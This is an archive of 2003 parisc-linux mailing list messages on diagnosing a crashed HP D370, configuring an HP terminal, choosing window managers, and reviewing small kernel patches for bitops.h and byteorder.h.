btw: I can get debian-woody booted up to the message that if this is the
last message on screen, check the faq. A second terminal (HP 700/96) on tty1
shows a lot of (vt100?) junk. How can I either put the HP700/96 terminal in
VT100 mode or whats the magic name of this terminal in the 'TERM=...' kernel
parameter?



CBee


mailto:c.beerse@torex-hiscom.nl

------_=_NextPart_001_01C35839.54B564E0
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Dus-ascii">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2654.45">
<TITLE>testing HP-PA risc hardware</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>Hi,</FONT>
</P>

<P><FONT SIZE=3D2>Here I have an HP D370 machine that (during my =
holidays) crashed. Since the machine was replaced since long and only =
kept running for fast access to old stuff, not a real =
problem.</FONT></P>

<P><FONT SIZE=3D2>At first, we suspected the boot disk since its led =
keeps buring. However, booting HP-UX from CDRom for a new fresh =
install, the boot of the kernel crashes at roughly the same point, even =
with all disks removed. Hence we suspected the core memory. However, =
changing or replacing the memory does not change anything in the =
behavoure.</FONT></P>

<P><FONT SIZE=3D2>Is there a way to somehow test the hardware of a =
PA-Risc machine? Either from HP or from the linux world?</FONT>
</P>

<P><FONT SIZE=3D2>Kind of like the test tools as found on the (intel-) =
linux distributions?</FONT>
</P>

<P><FONT SIZE=3D2>btw: I can get debian-woody booted up to the message =
that if this is the last message on screen, check the faq. A second =
terminal (HP 700/96) on tty1 shows a lot of (vt100?) junk. How can I =
either put the HP700/96 terminal in VT100 mode or whats the magic name =
of this terminal in the 'TERM=3D...' kernel parameter?</FONT></P>
<BR>
<BR>

<P><FONT SIZE=3D2>CBee</FONT>
</P>
<BR>

<P><FONT SIZE=3D2><A =
HREF=3D"mailto:c.beerse@torex-hiscom.nl">mailto:c.beerse@torex-hiscom.nl=
</A></FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C35839.54B564E0--


From - Thu Nov 08 21:28:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] testing HP-PA risc hardware
Date: Fri, 1 Aug 2003 16:39:18 +0200
Lines: 43
Approved: news@gmane.org
Message-ID: <20030801143918.GI1873@lug-owl.de>
References: <03Aug1.164945cest.119089@ns.hiscom.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="LmUak3kE33t3Bnfm"
X-Trace: ger.gmane.org 1416622638 28638 80.91.229.3 (22 Nov 2014 02:17:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:18 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug  1 08:39:20 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from dvmwest.gt.owl.de (dvmwest.gt.owl.de [62.52.24.140])
	by dsl2.external.hp.com (Postfix) with ESMTP id E8734482D
	for <parisc-linux@parisc-linux.org>; Fri,  1 Aug 2003 08:39:19 -0600 (MDT)
Original-Received: by dvmwest.gt.owl.de (Postfix, from userid 1001)
	id B147C4A970; Fri,  1 Aug 2003 16:39:18 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <03Aug1.164945cest.119089@ns.hiscom.nl>
X-Operating-System: Linux mail 2.4.18 
X-gpg-fingerprint: 250D 3BCF 7127 0D8C A444  A961 1DBD 5E75 8399 E1BB
X-gpg-key: wwwkeys.de.pgp.net
User-Agent: Mutt/1.5.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19066

--LmUak3kE33t3Bnfm
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Fri, 2003-08-01 16:29:35 +0200, Beerse, Corne <c.beerse@torex-hiscom.nl>
wrote in message <03Aug1.164945cest.119089@ns.hiscom.nl>:
> At first, we suspected the boot disk since its led keeps buring. However,
> booting HP-UX from CDRom for a new fresh install, the boot of the kernel
> crashes at roughly the same point, even with all disks removed. Hence we
> suspected the core memory. However, changing or replacing the memory does
> not change anything in the behavoure.

HP machines do quite some checks on their own on power-up (if you don't
configure them to omit these) and you can get all that from the
INformation (IIRC) command.

I have upgraded one of my boxes these days and a RAM module wasn't
mounted properly. That was reported, as well as it's position:)

MfG, JBG

--=20
   Jan-Benedict Glaw       jbglaw@lug-owl.de    . +49-172-7608481
   "Eine Freie Meinung in  einem Freien Kopf    | Gegen Zensur | Gegen Krieg
    fuer einen Freien Staat voll Freier B=FCrger" | im Internet! |   im Ira=
k!
      ret =3D do_actions((curr | FREE_SPEECH) & ~(IRAQ_WAR_2 | DRM | TCPA));

--LmUak3kE33t3Bnfm
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.2 (GNU/Linux)

iD8DBQE/KnuWHb1edYOZ4bsRAu2wAJ98C/qW16SN2WRgKR5HPbgBD5QPXwCdGvIe
y7tQjljCcskfU0ESSUDDYDU=
=Bu7j
-----END PGP SIGNATURE-----

--LmUak3kE33t3Bnfm--


From - Thu Nov 08 21:28:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] testing HP-PA risc hardware
Date: Fri, 1 Aug 2003 17:04:38 +0200
Lines: 28
Approved: news@gmane.org
Message-ID: <3F29178A000004B1@ocpmta7.freegates.net>
References: <03Aug1.164945cest.119089@ns.hiscom.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622638 28639 80.91.229.3 (22 Nov 2014 02:17:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:18 +0000 (UTC)
To: "Beerse, Corne" <c.beerse@torex-hiscom.nl>,
	"'maillist parisc-linux'" <parisc-linux@parisc-linux.org>,
	"'maillist HP-UX-admin'" <hpux-admin@DutchWorks.nl>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug  1 09:04:41 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5D0F5482D
	for <parisc-linux@parisc-linux.org>; Fri,  1 Aug 2003 09:04:41 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 19ibPS-0003T4-00; Fri, 01 Aug 2003 17:01:34 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Fri, 1 Aug 2003 17:04:38 +0200
In-Reply-To: <03Aug1.164945cest.119089@ns.hiscom.nl>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19067

Hello,


> Is there a way to somehow test the hardware of a PA-Risc machine? Either
> from HP or from the linux world?

Onto HP CD Support plus you would be able to boot ODE (Offline Diagnostics
Environement) which would allow to test wour disk and also help you to recover
your system (be carefull, it is not easy)

> btw: I can get debian-woody booted up to
> the message that if this is the
...
> VT100 mode ...

VT100 works fine for me :-)

hth,
    Joel


------------------------------------------------------
Soldes Tiscali ADSL : 27,50 euros/mois jusque fin 2003.
On s'habitue vite  payer son ADSL moins cher!
Plus d'info? Cliquez ici... http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:28:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] How to install X on 715/50 -- problem with twm
Date: Fri, 1 Aug 2003 09:22:37 -0600
Lines: 16
Approved: news@gmane.org
Message-ID: <20030801152237.GA11080@dsl2.external.hp.com>
References: <5.2.1.1.2.20030731163951.00b423d0@127.0.0.1> <20030801090533.GK727@sleepie.demon.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622639 28642 80.91.229.3 (22 Nov 2014 02:17:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:19 +0000 (UTC)
Cc: Greg Anderson <greg@planetbeagle.com>,
	parisc-linux@lists.parisc-linux.org
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug  1 09:22:37 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id BBBC5487C; Fri,  1 Aug 2003 09:22:37 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20030801090533.GK727@sleepie.demon.co.uk>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19068

On Fri, Aug 01, 2003 at 10:05:33AM +0100, Richard Hirst wrote:
> Well, it's twm that has the problem, not XFree86.  Maybe we don't use
> twm.

that's right. I use fvwm2 instead. A bit harder to configure but all
my parisc boxes have enough mem to handle workspaces.

> Looks like menu is indeed not in woody, but is in sarge and sid;
> iirc it is a c++ program that we used to have trouble building.

correct. For parisc, my preference is to run "sarge" since so much
stuff has been fixed since woody released.

hth,
grant


From - Thu Nov 08 21:28:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] backport bitops.h stuff
Date: Fri, 1 Aug 2003 17:28:00 +0200
Lines: 33
Approved: news@gmane.org
Message-ID: <3F29178A000004C6@ocpmta7.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622639 28646 80.91.229.3 (22 Nov 2014 02:17:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:19 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug  1 09:28:02 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id EC5EF4884
	for <parisc-linux@parisc-linux.org>; Fri,  1 Aug 2003 09:28:01 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 19ibmw-0007Qb-00
	for <parisc-linux@parisc-linux.org>; Fri, 01 Aug 2003 17:25:50 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Fri, 1 Aug 2003 17:28:00 +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19069

Hi pa,

Can somebody help me to ci inot 2.4 this patch which backport ffs() needed
for new devmapper ;)

--- bitops.h.orig	2003-08-01 15:25:02.000000000 +0200
+++ bitops.h	2003-08-01 15:27:38.000000000 +0200
@@ -208,13 +208,34 @@
 
 #ifdef __KERNEL__
 
+/**
+ * __ffs - find first bit in word.
+ * @word: The word to search
+ *
+ * Undefined if no bit exists, so code should check against 0 first.
+ */
+static __inline__ unsigned long __ffs(unsigned long word)
+{
+	unsigned long result = 0;
+
+	while (!(word & 1UL)) {
+		result++;
+		word >>= 1;
+	}
+	return result;
+}
+
 /*
  * ffs: find first bit set. This is defined the same way as
  * the libc and compiler builtin ffs routines, therefore
  * differs in spirit from the above ffz (man ffs).
  */

From - Thu Nov 08 21:28:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] backport bitops.h stuff
Date: Fri, 1 Aug 2003 17:35:43 +0200
Lines: 47
Approved: news@gmane.org
Message-ID: <3F29178A000004CB@ocpmta7.freegates.net>
References: <3F29178A000004C6@ocpmta7.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="========/3F29178A000004CB/mail.tiscali.be"
X-Trace: ger.gmane.org 1416622639 28648 80.91.229.3 (22 Nov 2014 02:17:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:19 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug  1 09:35:45 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 17D6E4884
	for <parisc-linux@parisc-linux.org>; Fri,  1 Aug 2003 09:35:45 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 19ibtX-000705-00
	for <parisc-linux@parisc-linux.org>; Fri, 01 Aug 2003 17:32:39 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Fri, 1 Aug 2003 17:35:43 +0200
In-Reply-To: <3F29178A000004C6@ocpmta7.freegates.net>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19070

--========/3F29178A000004CB/mail.tiscali.be
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit

 
Hi pa,

>Can somebody help me to ci inot 2.4 this patch which backport ffs() needed
>for new devmapper ;)

Again I forget to attach the patch file, sorry.

    Joel

PS: Now I have an ADSL connection at home, may be could I now ask an account
to ci those kind of armless stuff

------------------------------------------------------
Soldes Tiscali ADSL : 27,50 euros/mois jusque fin 2003.
On s'habitue vite  payer son ADSL moins cher!
Plus d'info? Cliquez ici... http://reg.tiscali.be/default.asp?lg=fr 



--========/3F29178A000004CB/mail.tiscali.be
Content-Type: application/octet-stream
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="bitops.h-patch"

LS0tIGJpdG9wcy5oLm9yaWcJMjAwMy0wOC0wMSAxNToyNTowMi4wMDAwMDAwMDAgKzAyMDAKKysr
IGJpdG9wcy5oCTIwMDMtMDgtMDEgMTU6Mjc6MzguMDAwMDAwMDAwICswMjAwCkBAIC0yMDgsMTMg
KzIwOCwzNCBAQAogCiAjaWZkZWYgX19LRVJORUxfXwogCisvKioKKyAqIF9fZmZzIC0gZmluZCBm
aXJzdCBiaXQgaW4gd29yZC4KKyAqIEB3b3JkOiBUaGUgd29yZCB0byBzZWFyY2gKKyAqCisgKiBV
bmRlZmluZWQgaWYgbm8gYml0IGV4aXN0cywgc28gY29kZSBzaG91bGQgY2hlY2sgYWdhaW5zdCAw
IGZpcnN0LgorICovCitzdGF0aWMgX19pbmxpbmVfXyB1bnNpZ25lZCBsb25nIF9fZmZzKHVuc2ln
bmVkIGxvbmcgd29yZCkKK3sKKwl1bnNpZ25lZCBsb25nIHJlc3VsdCA9IDA7CisKKwl3aGlsZSAo
ISh3b3JkICYgMVVMKSkgeworCQlyZXN1bHQrKzsKKwkJd29yZCA+Pj0gMTsKKwl9CisJcmV0dXJu
IHJlc3VsdDsKK30KKwogLyoKICAqIGZmczogZmluZCBmaXJzdCBiaXQgc2V0LiBUaGlzIGlzIGRl
ZmluZWQgdGhlIHNhbWUgd2F5IGFzCiAgKiB0aGUgbGliYyBhbmQgY29tcGlsZXIgYnVpbHRpbiBm
ZnMgcm91dGluZXMsIHRoZXJlZm9yZQogICogZGlmZmVycyBpbiBzcGlyaXQgZnJvbSB0aGUgYWJv
dmUgZmZ6IChtYW4gZmZzKS4KICAqLwotCi0jZGVmaW5lIGZmcyh4KSBnZW5lcmljX2Zmcyh4KQor
c3RhdGljIF9faW5saW5lX18gaW50IGZmcyhpbnQgeCkKK3sKKwlpZiAoIXgpCisJCXJldHVybiAw
OworCXJldHVybiBfX2ZmcygodW5zaWduZWQgbG9uZyl4KTsKK30KIAogLyoKICAqIGh3ZWlnaHRO
OiByZXR1cm5zIHRoZSBoYW1taW5nIHdlaWdodCAoaS5lLiB0aGUgbnVtYmVyCg==

--========/3F29178A000004CB/mail.tiscali.be--


From - Thu Nov 08 21:28:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] backport bitops.h stuff
Date: 01 Aug 2003 10:59:02 -0500
Lines: 20
Approved: news@gmane.org
Message-ID: <1059753543.2092.30.camel@mulgrave>
References: <3F29178A000004C6@ocpmta7.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622640 28650 80.91.229.3 (22 Nov 2014 02:17:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:20 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Joel Soete <jsoe0708@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug  1 09:59:12 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (nat9.steeleye.com [65.114.3.137])
	by dsl2.external.hp.com (Postfix) with ESMTP id 29557484B
	for <parisc-linux@parisc-linux.org>; Fri,  1 Aug 2003 09:59:12 -0600 (MDT)
Original-Received: from mulgrave-w.il.steeleye.com (il-ppp.sc.steeleye.com [172.17.6.240])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id h71Fx3I07804;
	Fri, 1 Aug 2003 11:59:03 -0400
In-Reply-To: <3F29178A000004C6@ocpmta7.freegates.net>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19071

On Fri, 2003-08-01 at 10:28, Joel Soete wrote:
> Can somebody help me to ci inot 2.4 this patch which backport ffs() needed
> for new devmapper ;)

Actually, this patch looks decidedly non-optimal.

See include/linux/bitops.h:generic_ffs for how it should be done on
architectures that don't have any machine instruction help.  That's only
four if statements and no loop.

I see we already have the loop thing in 2.5, but should we consider
simply using the generic operations there as well?

even for __ffs, which is just a slight optimisation over ffs, using
generic_ffs would probably be faster

James




From - Thu Nov 08 21:28:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: lamont@smallone.fc.hp.com (LaMont Jones)
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] __arch__swab24()
Date: Fri, 1 Aug 2003 10:22:55 -0600
Lines: 42
Approved: news@gmane.org
Message-ID: <20030801162255.GA28998@smallone.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622640 28654 80.91.229.3 (22 Nov 2014 02:17:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:20 +0000 (UTC)
Cc: lamont@hp.com
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug  1 10:25:35 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smallone.fc.hp.com (smallone.fc.hp.com [192.25.206.249])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6991B484B
	for <parisc-linux@lists.parisc-linux.org>; Fri,  1 Aug 2003 10:25:35 -0600 (MDT)
Original-Received: by smallone.fc.hp.com (Postfix, from userid 1000)
	id CEA551BE35; Fri,  1 Aug 2003 10:22:55 -0600 (MDT)
Content-Disposition: inline
User-Agent: Mutt/1.5.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19072

The following patch implements __arch__swab24() optimally for hppa.

It also has the side effect of making some other things happier. :-)

Any comments before I commit it to 2.4 and 2.5?

lamont

Index: include/asm-parisc/byteorder.h
===================================================================
RCS file: /var/cvs/linux/include/asm-parisc/byteorder.h,v
retrieving revision 1.7
diff -u -r1.7 byteorder.h
--- include/asm-parisc/byteorder.h	8 Jul 2003 16:50:09 -0000	1.7
+++ include/asm-parisc/byteorder.h	1 Aug 2003 16:25:00 -0000
@@ -14,6 +14,17 @@
 	return x;
 }
 
+static __inline__ __const__ __u32 ___arch__swab24(__u32 x)
+{
+	unsigned int temp;
+	__asm__("shd %0, %0, 8, %1\n\t"		/* shift xabcxabc -> cxab */
+		"dep %1, 15, 8, %1\n\t"		/* deposit cxab -> cbab */
+		"shd %r0, %1, 8, %0"		/* shift 0000cbab -> 0cba */
+		: "=r" (x), "=&r" (temp)
+		: "0" (x));
+	return x;
+}
+
 static __inline__ __const__ __u32 ___arch__swab32(__u32 x)
 {
 	unsigned int temp;
@@ -63,6 +74,7 @@
 #endif
 
 #define __arch__swab16(x) ___arch__swab16(x)
+#define __arch__swab24(x) ___arch__swab24(x)
 #define __arch__swab32(x) ___arch__swab32(x)
 
 #endif /* __GNUC__ */


From - Thu Nov 08 21:28:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] __arch__swab24()
Date: Fri, 1 Aug 2003 18:00:22 +0100
Lines: 41
Approved: news@gmane.org
Message-ID: <20030801170022.GX22222@parcelfarce.linux.theplanet.co.uk>
References: <20030801162255.GA28998@smallone.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622640 28664 80.91.229.3 (22 Nov 2014 02:17:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:20 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, lamont@hp.com
To: LaMont Jones <lamont@smallone.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug  1 11:00:25 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9205E482D
	for <parisc-linux@lists.parisc-linux.org>; Fri,  1 Aug 2003 11:00:25 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 19idGR-0005Px-0J; Fri, 01 Aug 2003 18:00:23 +0100
Content-Disposition: inline
In-Reply-To: <20030801162255.GA28998@smallone.fc.hp.com>
